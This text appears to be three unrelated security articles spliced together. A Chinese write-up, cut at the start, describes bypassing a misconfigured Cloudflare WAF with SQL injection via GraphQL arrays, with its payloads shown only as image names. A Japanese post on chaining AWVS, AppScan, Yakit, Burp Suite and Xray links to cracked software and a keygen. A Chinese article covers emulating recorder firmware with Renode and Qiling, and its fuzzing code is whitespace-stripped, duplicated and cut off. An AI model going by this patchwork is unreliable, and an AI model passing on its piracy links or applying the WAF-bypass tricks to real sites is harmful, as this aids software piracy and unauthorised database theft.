用戶輸入反映在查詢中的多個位置（第5、10、11 行），給我帶來麻煩的是第5 行。如果是X-MARK 僅反映在WHERE 子句中的情況，事情會更容易。但在這種情況下，我必須確保我的輸入不會弄亂表JOIN。這是必要的，以確保生成和查詢正確的表行，以便我可以獲得所需的數據。

注意：第8 行的$1 符號是SQL 準備查詢的位置參數，並由HTTP 請求的“名稱”變量參數替換。但它不容易受到SQL 注入的影響。

第一次嘗試我首先嘗試查找當前數據庫的名稱。在PostgreSQL 中執行此操作的SQL 查詢是：

5.png

有很多事情需要考慮，而且從一開始就很瘋狂，我必須從一開始就想出繞過Cloudflare 的方法。

WAF 繞過的第一種辦法首先，我必須首先將current_database() 的第一個字符與字符“a”進行比較。 PostgreSQL的方法是：

6.png

Cloudflare會阻塞'substr'函數，所以訣竅是要么使用'left'，要么使用'right'函數。我使用'right'函數，因為'left'給了我一些麻煩，當我試圖找出我已經找到所有的數據庫名稱的字符。新的查詢（將“a”與最後一個資源的字符進行比較，如下所示：

7.png

並且未被WAF 檢測到。

注意：函數right(current_database(), N) 返回數據庫名稱最右邊的N 個字符。因此，當找到最後一個字符時，例如X，下一次調用該函數應該是：

8.png

由於我們已經知道我們必須關閉查詢中的左括號（來自觀察2），POST 請求的正文如下所示（此處僅顯示'email'變量）：

9.png

但是，記住後端SQL 查詢如何包含JOIN 子句（來自觀察2），我還在查詢中添加了一些額外的內容，以確保SQL 連接在後台正確執行。 POST 請求的正文如下所示：

10.png

服務器上的後續SQL 查詢如下所示：

11.png

這很複雜，但想法是一樣的：如果“a”是數據庫名稱的最右邊的字符，我們將從服務器獲得一個“OK”響應。

無論如何，在向服務器提交這個請求後，我看到了Cloudflare WAF(配置錯誤)的可怕頁面，告訴我我的請求被阻止了。

第二次嘗試在我再次嘗試之前，我必須了解Cloudflare 對我的查詢有什麼幫助。

經過反複測試，我發現問題出在生成的服務器SQL 查詢中的FROM 子句中的空格。這導致我進入第二個WAF 繞過。

WAF 繞過的第二種辦法此處使用的第二種WAF 繞過技術消除了SQL 查詢中的空格，並將SQL FROM 子句的部分括在括號中。

12.png

變成了

13.png

因此POST 請求的結果正文變為：

14.png

在服務器上的後續SQL查詢是這樣的：

15.png

這樣，整個過程就可以實現自動化了，以找到數據庫名稱的整個值。相同的過程還檢索了用戶名（通過使用user 函數）和數據庫版本（通過使用version() 函數）。但是存儲在數據庫表中的數據呢？檢索這些數據的通用查詢，以及我在上一篇文章中使用的繞過方法的查詢都不起作用。兩者都被阻止：

16.png

為什麼我的查詢被阻止了？問題是緊跟在SELECT 子句之後的FROM 子句。以下查詢將很好地通過（錯誤配置的）Cloudflare WAF SQLi 過濾器：

17.png

一旦在查詢結束時引入WHERE 子句，WAF 就會啟動並阻止請求。我的最終目標是從任何表中檢索數據。是時候深入挖掘兔子洞了。

第三次嘗試我在這裡給出SQLi 的早期失敗嘗試，只是因為我希望這篇文章向人們展示在滲透測試期間思維過程是如何展開的。

在我嘗試使事情複雜化（即脫離所有JOIN 和FROM 子句）時，我使用了一個簡單的分號和註釋技巧(;--)。計劃是首先檢索數據庫名稱，然後在此基礎上檢索表中的數據：

18.png

服務器上生成的SQL 查詢如下：

19.png

無論如何，這當然行不通，原因有兩個：

第5行之後的所有內容都會因為註釋而被忽略，這不一定是限制性的，但我寧願在FROM 子句中執行我的SQLi。

我收到以下錯誤：“綁定消息提供1 個參數，但準備好的語句需要0”。這是因為name 變量被傳遞給準備好的語句，但第8 行被忽略了，因此新的準備好的語句不需要該變量。

第四次嘗試我在這裡給出了從表中檢索數據的另一個早期嘗試，它使我更接近我的目標。在此之前我所知道的是，以下負載將被WAF 阻止：

20.png

注意：我添加了LIMIT 和OFFSET 關鍵字，以便從table1 中僅檢索一行。 LIMIT 表示我們只想要檢索一行，OFFSET 表示在開始檢索數據之前我們想要跳過多少行。在這種情況下，OFFSET 0 表示數據庫應該跳過0 行並返回table1 中的第一行。這對於逐一檢索表的所有行很有用。

WAF 繞過的第三種辦法回顧從數據庫服務器產生的錯誤中檢索到的SQL 查詢，我注意到可能不需要使用FROM 子句。 table1 表在使用AS 關鍵字的查詢中別名為t1，並且可以基於t1 引用它的任何列。這樣就可以這樣查詢table1 的column1 列：

21.png

這可以很好地通過（錯誤配置的）Cloudflare WAF，因此POST 請求正文中的有效負載可以這樣轉換：

22.png

服務器上的後續SQL 查詢如下所示：

23.png

這可以正常工作，但限制是只能提取table1（或table2）中的數據，因為這些是服務器SQL 查詢中唯一的別名表，繼續進行最後的成功嘗試。

最後一次嘗試好吧，如果我想從數據庫中檢索任何我想要的數據，我不得不放棄WAF 繞過的第三種方法。此時，似乎沒有辦法避免使用FROM子句。而且，在不被Cloudflare的WAF檢測到的情況下，似乎也沒有辦法成功地將FROM子句隱藏到有效載荷中。似乎我正在尋找的答案不在SQL查詢中。我不得不後退一步。

進入GraphQL我們已經看到發送的請求的正文是一個GraphQL 查詢，然後它被翻譯成一個SQL 查詢。所以我的下一個嘗試是改變GraphQL 查詢並設法隱藏其中的FROM 子句，這將有望轉換為在服務器上工作的SQL查詢。

如上所述，GraphQL 查詢的結構類似於JSON 對象。 JSON 中的數據以名稱/值對存儲在字典中，它們都是字符串。 GraphQL 查詢需要字符串鍵，但允許使用任意參數。這些規則適用於GraphQL：

數據用逗號分隔；

花括號容納對象；

方括號包含數組；

因此一個GraphQL查詢參數可以看起來像以下任何一種方式：

24.png

這讓我想到：如果我將對象的值作為數組而不是字符串傳遞，後端服務器上的SQL 查詢會發生什麼。簡而言之，我想打破SQL 注入查詢並將FROM 子句移動到不同的對像以欺騙Cloudflare。

25.png

進入

26.png

該請求繞過了WAF，我從數據庫中得到了一個錯誤，報錯是一個格式不正確的SQL查詢，並向我顯示了完整的SQL查詢結果。在註入點的查詢是這樣的：

27.png

注意SELECT column1 後面的逗號(,) 嗎？那是我繞過SQLi 過濾的憑證。將GraphQL 查詢參數的值作為數組傳遞會在後端SQL 服務器中轉換為字符串。字符串只是由逗號和空格字符分隔的數組項的串聯！此時，SQL查詢是錯誤的，但我可以註釋掉逗號，並獲得一個有效的、繞過waff的請求，該請求從我選擇的任何數據庫表中檢索我想要的任何數據。

這是最終POST 請求的正文：

28.png

以及在SQL 服務器上生成的有效SQL 查詢：

29.png

成功！

為了簡化表檢索過程，我用Python編寫了一個腳本來自動化這個過程。腳本的偽代碼如下所示：

30.png

這就是我如何利用GraphQL 製作SQL 注入，繞過配置錯誤的Cloudflare WAF 實例，並能夠在後端檢索整個數據庫。正如我在開頭提到的，這種繞過技術的組合不適用於正確配置的Cloudflare WAF。

緩解措施緩解數據庫上SQL 注入的最安全方法是準備好的語句。

HireHackking

0x01使用

各ツールの導入後に、ツールのダウンロードアドレスとインストール方法が配置されます。必要に応じて、自分でダウンロードできます。

1.AWVSツール

awvsはじめに：

Acunetix Web脆弱性スキャナー（AWVS）は、Webアプリケーションのセキュリティのテストと管理に使用されるプラットフォームです。インターネットまたはローカルLANを脆弱性を自動的にスキャンし、脆弱性を報告できます。 HTTP/HTTPSルールがアクセスして続くWebサイトをスキャンできます。小規模および中規模および大規模企業向けの顧客、従業員、ベンダー、その他の担当者向けのイントラネット、外因性ネットワークおよびWebサイト。 AWSは、SQLインジェクション攻撃の脆弱性、XSSクロスサイトスクリプトの脆弱性などをチェックすることにより、Webアプリケーションのセキュリティをレビューできます。AWVS機能と機能：1）自動クライアントスクリプトアナライザー、AJAXおよびWeb2.0アプリケーションのセキュリティテストを可能に

2）業界で最も高度で詳細なSQLインジェクションとクロスサイトスクリプトテスト

3）HTPPエディターやHTTPファッツァなどの高度な浸透テストツール

4）Visual Macro Recorderは、Webフォームやパスワードで保護された領域を簡単にテストするのに役立ちます

5）Capthca、シングルスタート命令、2つの要因（2要素）検証メカニズムを含むサポートページ

6）Visa PCIコンプライアンスレポートを含む豊富なレポート機能

7）高速マルチスレッドスキャナーは、数千ページを簡単に取得できます

8）インテリジェントクローラーがWebサーバーのタイプとアプリケーション言語を検出する

9）Acunetixは、フラッシュコンテンツ、SOAP、AJAXなどのWebサイトを取得および分析します

10）ポートWebサーバーをスキャンし、サーバーで実行されているネットワークサービスでセキュリティチェックを実行します

11）Webサイトの脆弱性ファイルをエクスポートできます

AWVSツールインストールチュートリアルアドレス：https://Blog.csdn.net/shandongjiushen/article/details/128377981

AWVSツールクラックバージョンダウンロードアドレス（Baidu NetDisk）リンク：https://Pan.Baidu.com/s/1KayuhishGujozphx41CQSQ抽出コード：QBE0

2。 AppScanツール

appscanはじめに：

AppScanは、セキュリティの専門家とテスター向けに特別に設計された動的なアプリケーションセキュリティテストツールです。これは、ユーザーがより安全なソフトウェアを開発するのに役立ち、開発ライフサイクルの後期段階で高価な脆弱性を効果的に回避できます。ソフトウェアには強力なスキャンエンジンが組み込まれており、ターゲットアプリケーションやテストの脆弱性を自動的にクロールできます。テスト結果は優先的に提示され、オペレーターは問題をより速く分類し、最も重要な脆弱性を最初に発見することができます。同時に、AppScanはユーザーに明確で実行可能な修理の提案を自動的に提供するため、発見された各問題をより簡単に改善できます。さらに、このソフトウェアには、テストWebアプリケーション、Webサービス、およびモバイルバックエンドをサポートする包括的なセキュリティテストスイートがあり、運用ベースの独自のテクノロジーと数万個の組み込みスキャンを使用して継続的にチェックします。 AppScan機能の紹介：1）アクティブおよびパッシブスキャンAppScanは、アクティブおよびパッシブスキャンテクノロジーをサポートします。アクティブなスキャンモードでは、攻撃者の動作をシミュレートし、悪意のあるリクエストと攻撃ペイロードを送信して、クロスサイトスクリプティング（XSS）、SQLインジェクション、クロスサイトリクエスト偽造（CSRF）などの既知のWeb脆弱性を発見します。

2）サポートWebアプリケーションとモバイルアプリケーションスキャンAppScanは、Webアプリケーションスキャンとモバイルアプリケーションのセキュリティ評価の両方に適しています。 Webアプリケーションの場合、AppScanはXSS、SQLインジェクション、機密情報漏れなどの一般的なWeb脆弱性を自動的に発見および評価できます。モバイルアプリケーションの場合、AppScanはアプリケーションのバイナリコードを分析し、アプリケーションの脆弱性とセキュリティ問題を発見できます。

3）浸透テストサポートAppScanは、浸透テストサポートを提供します。つまり、脆弱性スキャンツールであるだけでなく、テスト用の実際の攻撃をシミュレートできます。浸透テストは、複雑な脆弱性とビジネスロジックの問題のために、検出が困難である脆弱性を発見し、より詳細なテスト機能を備えていることを発見するのに役立ちます。

AppScanツールのインストールチュートリアルアドレス：https://Blog.csdn.net/qq_39720249/article/details/121248901

AppScanツールクラックバージョンダウンロードアドレス（Baidu NetDisk）：https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba抽出コード：ime6

3。 Yakitツール

yakitはじめに：

Yakは、ネットワークセキュリティの基礎能力の統合に専念する世界で最初の垂直開発言語であり、非常に強力なセキュリティ機能を提供します。 Yakは、ほとんどの「データ説明言語/コンテナ言語」のスーパーセットです。すべてのGO機能とライブラリエコシステム、VSCODEプラグインなどがあります。構文はカスタマイズ可能です。それは完全に国内で、チューリング複雑なスクリプト言語です。ポートスキャン、フィンガープリント認識、POCフレームワーク、シェル管理、MITMハイジャック、強力なプラグインシステムなど、機能を通じてさまざまな基礎となるセキュリティ機能を提供します。Yakitは、YAK言語に基づいて開発されたサイバーセキュリティの個別ツールであり、浸透テストのプロセス全体をカバーするネットワークセキュリティツールライブラリを作成することを目的としています。 YAKの使用形式のため、ユーザーはYAK言語を学習し、同時にセキュリティを特定して理解する必要があります。 Yak独自のセキュリティ機能を容易に受け入れ、すべての人が使用するために、Yak用のGRPCサーバーを作成し、クライアントを構築しました。Yakitは、インターフェイスGUIを介してYakを使用するためのしきい値を下げます。 Yakit関数の簡単な紹介（関数が多すぎます）：Yakitは、Yak言語セキュリティ機能のための高度に統合された出力プラットフォームです。 Yakitを使用して、できます：

1）Burpsuiteに似たMITMハイジャック操作テーブル

2）すべてのハイジャックされたリクエストの履歴を表示し、リクエストのパラメーターを分析する

3）世界初の視覚的なWebファザーツール：Web Fuzzer

4）Yak Cloud IDE：組み込みのスマートプロンプトを備えたYak言語クラウドIDE

5）Shellreceiver：TCPサーバーをオンにして、リバウンドインタラクティブシェルアンチ接続を受信します

6）サードパーティYakモジュールストア：コミュニティ主導のサードパーティYakモジュールプラグイン、あなたが望むすべてを持っています

7。

Yakitツールのインストールチュートリアルアドレス：https://Blog.csdn.net/m0_60045654/article/details/134645164

Yakitツールダウンロードアドレス：https://yaklang.com/

4。バープスイート

バープスイートの紹介：

Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームです。 Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームであり、多くのツールが含まれています。バープスイートは、これらのツールの多くのインターフェイスを設計して、アプリケーションを攻撃するプロセスを高速化します。すべてのツールはリクエストを共有し、対応するHTTPメッセージ、永続性、認証、プロキシ、ログ、およびアラートを処理できます。バープスイートツールの関数の紹介：1）ターゲット（ターゲット）——ターゲットディレクトリ構造の関数を表示します

2）プロキシ（プロキシ）—— HTTP/sプロキシサーバーをインターセプトし、ブラウザとターゲットアプリケーションの間の仲介者として機能し、両方向の元のデータフローを傍受、表示、変更できます。

3）Spider（Spider）——は、アプリケーションのコンテンツと機能を完全に列挙できるインテリジェントセンシングWeb Crawlerを使用します。

4）スキャナー（スキャナー）——高度なツールでは、実行後、Webアプリケーションのセキュリティの脆弱性を自動的に発見できます。

5）侵入者（侵入者）——カスタマイズされた高度に構成可能なツールは、列挙された識別子、有用なデータの収集、ファジングテクノロジーを使用して従来の脆弱性を検出するなどのWebアプリケーションを自動化します。

6）リピーター（リピーター）——手動操作に依存して個別のHTTP要求をトリガーし、アプリケーション応答を分析するツール。

7）シーケンサー（セッション）——は、予測不可能なアプリケーションセッショントークンと重要なデータ項目のランダム性を分析するために使用されるツールです。

8）デコーダー（デコーダー）——は、アプリケーションデータユーザーを手動で実行またはインテリジェントにデコードおよびエンコードするためのツールです。

9）比較（比較）——は、通常、いくつかの関連するリクエストと応答を通じて、2つのデータの視覚的な「違い」を取得します。

10）Extender（Extension）——を使用すると、Burp Suite Extensionsをロードし、独自のコードまたはサードパーティコードを使用してBurp Suiteの機能を拡張できます。

11）オプション（設定）——げっぷスイートのいくつかの設定

バープスイートツールのインストールチュートリアルアドレス：https://blog.csdn.net/m0_60045654/article/details/134645164

バープスイートツールJARクラックパッケージ：** https://link.zhihu.com/？ターゲット=https％3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar

バープスイートツールダウンロードアドレス：https://Link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/

5。 xray

Xrayツールの紹介：

Xrayは、変化する技術によって開始された強力なセキュリティ評価ツールです。これは、多くの経験豊富な最前線のセキュリティ実務家によって作成されています。アクティブおよびパッシブスキャン方法をサポートし、Windows、Linux、MacOSなどの複数のオペレーティングシステムをサポートし、ユーザー定義のPOCをサポートします。

ターゲットWebサイトの脆弱性をすばやく検出できます。従来のマニュアルの脆弱性スキャンと比較して、Xrayには次の利点があります。

1。高度な自動化、手動操作の時間とエネルギーを削減する。

2。複数の脆弱性タイプのスキャンをサポートします。

3。分散展開をサポートします。

4。Webインターフェイス管理をサポートします。

Xray関数の紹介：POCフレームワークには、デフォルトでGitHubにPOCが組み込まれているPOCが組み込まれており、ユーザーは必要に応じて自分で構築および実行することもできます。

現在サポートされている脆弱性検出タイプには: 1）XSS脆弱性検出（Key: XSS）

2）SQL注入検出（Key: SQLDET）

3）コマンド/コードインジェクション検出（key: cmd-injection）

4）ディレクトリの列挙（key:ディルカン）

5）パス交差検出（key:パストラバーサル）

6）XMLエンティティインジェクション検出（key: xxe）

7）ファイルアップロード検出（key:アップロード）

8）弱いパスワード検出（Key:ブルートフォース）

9）JSONP検出（key: jsonp）

10）SSRF検出（Key: SSRF）

11）ベースライン検査（Key:ベースライン）

12）任意のジャンプ検出（key:リダイレクト）

13）CRLF注入（Key: CRLF注入）

14）Struts2シリーズの脆弱性検出（Advanced Edition、Key: Struts）

15）ThinkPhpシリーズの脆弱性検出（Advancedバージョン、key: thinkphp）

16）XSTREAMシリーズの脆弱性検出（Key: XStream）

17）POCフレームワーク（key:パンタズム）

Xray Toolインストールチュートリアルアドレス：https://Blog.csdn.net/weixin_52244272/article/details/132278409

Xray11ツールクラックバージョンダウンロードアドレス：https://pan.baidu.com/s/1n5lqesvxpk_cgbs7jmfkda?pwd=amlj抽出コード：AMLJ

0x02ツールリンケージ

ターゲットWebサイトの脆弱性を自動的にスキャンするために、5つのツールをリンクします。

1。 AppScanツールリンケージの準備

をセットアップします

AppScanツールインターフェイスを開き、[新シュンWebサービス]を選択します。image.png

選択- AppScanを自動的に選択します（ここで選択されたポートとアドレスは、AWVSエージェントが耳を傾けるアドレスとポートです） - ローカル - 他の接続設定を構成する必要があります - 次のステップimage.png

選択- カスタムプロキシ設定を使用- アドレス：127.0.0.1-ポート：8083（ここに設定されたプロキシアドレスとポートセットはYakitのプロキシリスニングアドレスです） - ニキスト。image.png

設定する必要はありません。次に行くだけです。image.png

設定せずに、次のステップに移動して[完了]をクリックします。image.png image.png

外部のトラフィックレコーダーを入手し、ここを通過して表示するのを待ちます。image.png

2。 Yakitツールリンケージの準備

をセットアップします

Yakit Tool image.pngを起動します

一時的なプロジェクトimage.pngを開きます

侵入テストツールを選択します - MIMTインタラクティブハイジャックimage.png

ここで、Yakitにはデフォルトでダウンロードされた15のスキャンプラグインしかないことをここでお知らせします。より包括的なパッシブスキャンの脆弱性を持ちたい場合は、プラグインストアにアクセスして、必要なプラグインをダウンロードできます。ワンクリックですべてのプラグインをダウンロードできますが、スキャンは非常に遅くなります。必要なもののいくつかをダウンロードしてください。image.png

MIMTインタラクティブなハイジャックに戻り、ハイジャックエージェントのリスニングホストを設定します：127.0.0.1、リスニングポートをリスニングするハイジャックエージェント：8083、およびダウンストリームエージェントはhttp://127.0.0.0.13:8080（下流のアドレスはここに設定されています）。 [プラグインを有効にする]を選択し、左側にプラグインを設定してすべてを選択し、設定後に構成なしの起動を選択します（構成なしの起動を選択するのが最善です。image.png

後でスキャンされた脆弱性は、ここimage.pngに表示されます

3。 Buro Suite Toolのリンケージ準備

Burp Suiteツールを開き、[Temporary Project -Next]を選択します。image.png

Burp Suiteのデフォルト値-Nextを使用します。image.png

設定image.pngを選択します

プロキシを設定すると、バインディングプロキシポートは8080、バインディングアドレスは次のとおりです。Loopbackのみ（ここに設定されたプロキシリスニングアドレスとポートセットは、Yakitが設定した下流のプロキシアドレスです）。image.png

バープスイートの上流プロキシをセットアップすると、ターゲットホストは次のとおりです。 *（すべてのターゲットホストが許可されます）、プロキシホストは127.0.0.1、プロキシポートは7777です。

リアルタイムタスクimage.pngを追加しました

プロキシimage.pngを通過するすべてのトラフィックを受動的にスキャンする

組み込みのスキャン動作を編集します。image.png

スキャンタイプを設定し、すべてを選択し、火力をオンにし、[保存]をクリックします。image.png

[OK]をクリックして、パッシブスキャンを設定します。image.png image.png

4。 Xrayツールリンケージの準備

をセットアップします

Xrayを使用してポート127.0.0.0.1:77777（ここで聴くポートは、Burp Suiteが設定したアップストリームプロキシです）、脆弱性を受動的にスキャンし、脆弱性を123.HTMLにします。image.png

0x04リンケージスキャンのテストを開始

すべての準備が整っています。AWVSツールを最初のアクセススキャンターゲットトラフィックの開始点として使用します。

1。トラフィックを傍受

YakitとBurp Suiteのトラフィックを最初にハイジャックして、後でトラフィックの傾向を視聴します。

image.png

image.png

2。 AWVSスキャンターゲットを設定

AWVSスキャンターゲットを設定して、トラフィックにアクセスします。スキャンターゲット（このターゲットは承認されています）を追加し、[保存]をクリックします。

HireHackking

1.jpg

在各種攻擊性安全技術中，在分析IoT/IIoT 設備的安全性時，漏洞評估是重中之重。在大多數情況下，此類設備是使用黑盒測試方法進行分析的，在這種方法中，研究人員實際上對研究對像一無所知。通常，這意味著設備固件的源代碼不可用，研究人員只能使用用戶手冊和一些用戶論壇上討論設備操作的幾個線程。

IoT/IIoT 設備的漏洞評估基於對其固件的分析。它分幾個階段執行：準備固件（提取和解包），從研究人員的角度搜索感興趣的組件，在模擬器中運行固件或其部件，最後搜索漏洞。在最後階段使用了多種技術，包括靜態和動態分析以及模糊測試。

分析設備固件的傳統方法是將QEMU 仿真器與GNU 調試器結合使用。我們決定討論其他不太明顯的固件處理工具，包括Renode 和Qiling。這些工具中的每一個都有其自身的特性、優勢和局限性，使其對某些類型的任務有效。

Renode 是一種旨在模擬整個系統的工具，包括內存芯片、傳感器、顯示器和其他外圍設備。它還可以模擬多個處理器（在多處理器設備上）之間的交互，每個處理器都可以有自己的架構和固件。 Renode 還可以將仿真硬件與實現為可編程邏輯設備（FPGA 芯片）的真實硬件互連。

Qiling 是一個用於模擬可執行文件的高級多平台框架。它可以模擬多種操作系統和環境，包括不同成熟度的Windows、MacOS、Linux、QNX、BSD、UEFI、DOS、MBR 和以太坊虛擬機。它支持x86、x86_64、ARM、ARM64、MIPS 和8086 架構和各種可執行文件格式。它還可以模擬MBR 加載過程。

我們選擇了一個現實世界的設備，一個主要製造商的網絡錄像機，作為我們研究的對象。該設備基於海思平台，運行Linux。

從製造商網站下載的固件包含一個文件，其中binwalk 工具檢測到CramFS 文件系統。解壓文件後，我們發現uImage——Linux 內核和initramfs 的組合映像——以及幾個加密腳本和TAR 檔案。

DECIMALHEXADECIMALDESCRIPTION

--------------------------------------------------------------------------------

00x0uImageheader,headersize:64bytes,headerCRC:0xCA9A1902,created:2019-08-2307:16:16,imagesize:4414954bytes,DataAddress:0x40008000 ,EntryPoint:0x40008000,dataCRC:0xDE0F30AC,OS:Linux,CPU:ARM,imagetype:OSKernelImage,compressiontype:none,imagename:'Linux-3.18.20'

640x40LinuxkernelARMbootexecutablezImage(little-endian)

24640x9A0devicetreeimage(dtb)

165600x40B0LZMAcompresseddata,properties:0x5D,dictionarysize:33554432bytes,uncompressedsize:-1bytes

44018480x432AB8devicetreeimage(dtb)

1

2

3

4

5

6

7

DECIMALHEXADECIMALDESCRIPTION

--------------------------------------------------------------------------------

00x0uImageheader,headersize:64bytes,headerCRC:0xCA9A1902,created:2019-08-2307:16:16,imagesize:4414954bytes,DataAddress:0x40008000 ,EntryPoint:0x40008000,dataCRC:0xDE0F30AC,OS:Linux,CPU:ARM,imagetype:OSKernelImage,compressiontype:none,imagename:'Linux-3.18.20'

640x40LinuxkernelARMbootexecutablezImage(little-endian)

24640x9A0devicetreeimage(dtb)

165600x40B0LZMAcompresseddata,properties:0x5D,dictionarysize:33554432bytes,uncompressedsize:-1bytes

44018480x432AB8devicetreeimage(dtb)下面，我們從系統層面看一下Renode和Qiling的運行情況。

有關在應用程序級別使用這些工具的信息（以錄像機的固件為例），請參閱文章的完整版本。

使用Renode 的系統級仿真Renode 是一個完整的系統仿真實用程序，其開發人員主要將其定位為旨在簡化嵌入式軟件開發、調試和自動化測試的工具。但是，它也可以用作動態分析工具，在漏洞評估期間分析系統的行為。 Renode 可用於運行小型嵌入式實時操作系統和成熟的操作系統，如Linux 或QNX。該模擬器大部分是用C# 編寫的，因此它的功能可以相對較快地適應研究人員的需求。

描述模擬平台作為單芯片系統一部分的外圍設備通常可通過內存映射I/O (MMIO) 獲得——相應外圍模塊的寄存器映射到的物理內存區域。 Renode 提供了使用帶有.repl（RE節點PL格式）擴展名的配置文件從構建塊構建片上系統的能力，該文件描述了哪些設備應該映射到哪些內存地址。

有關可用外圍設備和所用平台的內存映射的信息可以在SoC 文檔（如果公開）中找到。如果文檔不可用，則可以通過分析設備樹Blob (DTB) 的內容來找到此信息，DTB 是描述Linux 內核在嵌入式設備上運行Linux 所需的平台的數據塊。

在正在分析的固件中，DTB 塊附加到uImage 文件的末尾（根據binwalk 工具的信息）。使用dtc 工具將DTB 轉換為可讀格式（DTS）後，我們可以使用它為Renode 創建平台描述。

開始仿真必須準備一個初始化腳本，以便在REPL 文件中描述的平台上運行一些有用的東西。該腳本通常將可執行代碼加載到虛擬內存中，配置處理器寄存器，設置額外的事件處理程序，配置調試消息的輸出（如果需要）等。

:name:HiSilicon

:description:TorunLinuxonHiSilicon

usingsysbus

$name?='HiSilicon'

machcreate$name

machineLoadPlatformDescription@platforms/cpus/hisilicon.repl

logLevel0

###createexternals###

showAnalyzersysbus.uart0

###redirectmemoryforLinux###

sysbusRedirect0xC00000000x400000000x8000000

###loadbinaries###

sysbusLoadBinary'/home/research/digicap.out/uImage'0x40008000

sysbusLoadAtags'console=ttyS0,115200mem=128M@0x40000000nosmpmaxcpus=0'0x80000000x40000100

###setregisters###

cpuSetRegisterUnsafe20x40000100#atags

cpuPC0x40008040

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

:name:HiSilicon

:description:TorunLinuxonHiSilicon

usingsysbus

$name?='HiSilicon'

machcreate$name

machineLoadPlatformDescription@platforms/cpus/hisilicon.repl

logLevel0

###createexternals###

showAnalyzersysbus.uart0

###redirectmemoryforLinux###

sysbusRedirect0xC00000000x400000000x8000000

###loadbinaries###

sysbusLoadBinary'/home/research/digicap.out/uImage'0x40008000

sysbusLoadAtags'console=ttyS0,115200mem=128M@0x40000000nosmpmaxcpus=0'0x80000000x40000100

###setregisters###

cpuSetRegisterUnsafe20x40000100#atags

cpuPC0x40008040該腳本將uImage 文件加載到平台內存中的binwalk 輸出地址，配置內核參數，並將控制權傳遞給地址0x40008040，因為前0x40 字節由uImage 標頭獲取。

開始仿真後，我們得到了一個功能齊全的終端，我們可以與它進行交互，就像我們在任何Linux 系統上的終端一樣：

2.png

Renode 模擬器提供了足夠的功能來快速開始對正在研究的固件進行動態分析。作為一個動手示例，我們能夠部分運行網絡視頻錄像機的固件，而無需實際手頭有錄像機。在接下來的步驟中，我們可以使用模擬文件系統中可用的工具來解密加密的固件文件，提取提供記錄器功能的內核模塊並分析它們的邏輯等。

由於Renode 仿真器為基於ARM 架構的片上系統中常用的外設提供了足夠廣泛的支持，因此無需編寫任何額外代碼即可查看功能齊全的Linux 終端。同時，在必要時，仿真器的模塊化架構及其腳本和插件編寫功能使得在足以進行研究的水平上實現對任何缺乏功能的支持變得相對容易。

該工具的顯著特點之一是它使用系統級仿真。因此，很難使用它來模糊測試或調試在模擬操作系統中運行的用戶空間應用程序。

該工具的缺點包括缺乏詳細的文檔，現有文檔僅描述了最基本的使用場景。在實現更複雜的東西時，例如新的外圍設備，或者試圖了解特定內置命令的工作原理時，您必須反复參考GitHub 上的項目存儲庫並研究模擬器本身和捆綁的源代碼外圍設備。

使用Qiling 框架進行模糊測試Qiling 框架是用Python 編寫的，這使得根據研究人員的特定需求調整其功能非常容易。麒麟框架底層有獨角獸引擎，它只是一個機器指令的模擬器，而麒麟提供了許多高級功能，例如從文件系統中讀取文件、加載動態庫等。

與QEMU 相比，Qiling Framework 可以模擬更多平台，並提供靈活的模擬過程配置，包括即時修改執行代碼的能力。此外，它是一個跨平台框架，這意味著它可以用來在Linux 上模擬Windows 或QNX 可執行文件，反之亦然。

作為演示的一部分，我們將嘗試使用Qiling 模糊測試hrsaverify 實用程序，它是我們正在分析的固件的一部分，使用AFL++，一個用於驗證加密文件的實用程序，它將文件的路徑用於被驗證為論據。 Qiling 框架在其存儲庫的示例/fuzzing 目錄中已經有幾個運行AFL++ fuzzer 的示例。我們將修改名為linux_x8664 的示例以運行hrsaverify。運行fuzzer 的修改腳本如下所示：

importunicornaflasUcAfl

UcAfl.monkeypatch()

importos,sys

fromtypingimportAny,Optional

sys.path.append('././.')

fromqilingimportQiling

fromqiling.constimportQL_VERBOSE

fromqiling.extensionsimportpipe

defmain(input_file:str):

ql=Qiling(['././rootfs/hikroot/usr/bin/hrsaverify','/test'],'././rootfs/hikroot',

verbose=QL_VERBOSE.OFF,#keepqilingloggingoff

console=False,#thwartprogramoutput

stdin=None,stdout=None,stderr=None)#don'tcareaboutstdin/stdout

defplace_input_callback(uc:UcAfl.Uc,input:bytes,persistent_round:int,data:Any)-Optional[bool]:

'''Calledwitheverynewlygeneratedinput.'''

withopen('././rootfs/hikroot/test','wb')asf:

f.write(input)

defstart_afl(_ql:Qiling):

'''Callbackfrominside.'''

#WestartourAFLforkserverorrunonceifAFLisnotavailable.

#Thiswillonlyreturnafterthefuzzingstopped.

try:

ifnot_ql.uc.afl_fuzz(input_file=input_file,

place_input_callback=place_input_callback,exits=[ql.os.exit_point]):

_ql.log.warning('RanoncewithoutAFLattached')

os._exit(0)

exceptUcAfl.UcAflErrorasex:

ifex.errno!=UcAfl.UC_AFL_RET_CALLED_TWICE:

raise

#Imagebaseaddress

ba=0x10000

#Setahookonmain()toletunicornforkandstartinstrumentation

ql.hook_address(callback=start_afl,address=ba+0x8d8)

#Okay,readytoroll

ql.run()

if__name__=='__main__':

iflen(sys.argv)==1:

raiseValueError('Noinputfileprovided.')

main(sys.argv[1])

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

importunicornaflasUcAfl

UcAfl.monkeypatch()

importos,sys

fromtypingimportAny,Optional

sys.path.append('././.')

fromqilingimportQiling

fromqiling.constimportQL_VERBOSE

fromqiling.extensionsimportpipe

defmain(input_file:str):

ql=Qiling(['././rootfs/hikroot/usr/bin/hrsaverify','/test'],'././rootfs/hikroot',

verbose=QL_VERBOSE.OFF,#keepqilingloggingoff

console=False,#thwartprogramoutput

stdin=None,stdout=None,stderr=None)#don'tcareaboutstdin/stdout

defplace_input_callback(uc:UcAfl.Uc,input:bytes,persistent_round:int,data:Any)-Optional[bool]:

'''Calledwitheverynewlygeneratedinput.'''

withopen('././rootfs/hikroot/test','wb')asf:

f.write(input)

defstart_afl(_ql:Qiling):

'''Callbackfrominside.'''

#WestartourAFLforkserverorrunonceifAFLisnotavailable.

#Thiswillonlyreturnafterthefuzzingstopped.

try:

